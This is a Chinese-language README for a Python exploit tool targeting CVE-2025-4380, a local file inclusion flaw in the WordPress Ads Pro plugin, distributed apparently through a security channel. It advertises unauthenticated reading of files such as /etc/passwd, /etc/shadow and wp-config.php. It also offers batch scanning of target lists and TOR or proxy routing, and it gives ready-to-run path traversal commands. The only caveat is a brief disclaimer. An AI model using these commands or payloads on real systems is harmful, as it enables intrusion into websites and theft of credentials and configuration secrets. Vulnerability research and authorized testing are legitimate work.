CVE-2025-4380 - Ads Pro 插件 <= 4.89 - 本地文件包含 (LFI) 利用工具

描述

此 Python 利用工具针对 WordPress 的 Ads Pro 插件 ≤ 4.89，该插件存在通过 bsa_preview_callback AJAX 操作的 本地文件包含 (LFI) 漏洞。

未认证的攻击者可利用此漏洞读取服务器文件系统中的任意文件，包括敏感文件，如 /etc/passwd、wp-config.php 等。

利用工具特性

• 利用 CVE-2025-4380 LFI 漏洞。
• 支持单个目标或批量利用。
• 可选择将输出保存到文件。
• 支持 HTTP 代理或 TOR 路由。
• 具备重试机制以提高可靠性。

使用方法

单个目标

python3 cve_2025_4380.py -u http://target.com -p ../../../../etc/passwd

多个目标（批量扫描）

python3 cve_2025_4380.py -l targets.txt -p ../../../../etc/shadow

将输出保存到文件

python3 cve_2025_4380.py -u http://target.com -p ../../../../etc/passwd -o output.txt

使用代理（例如 Burp、TOR）

python3 cve_2025_4380.py -u http://target.com -p ../../../../etc/passwd --proxy http://127.0.0.1:8080

参数

示例

Burpsuite 请求/响应

漏洞参考

• CVE-2025-4380

• Ads Pro 插件 <= 4.89 - 通过 bsa_preview_callback 中的 bsa_template 导致的本地文件包含

⚠️ 免责声明

此利用工具仅用于教育目的和授权的安全测试。

官方频道

• YouTube @rootctf
• X @r0otk3r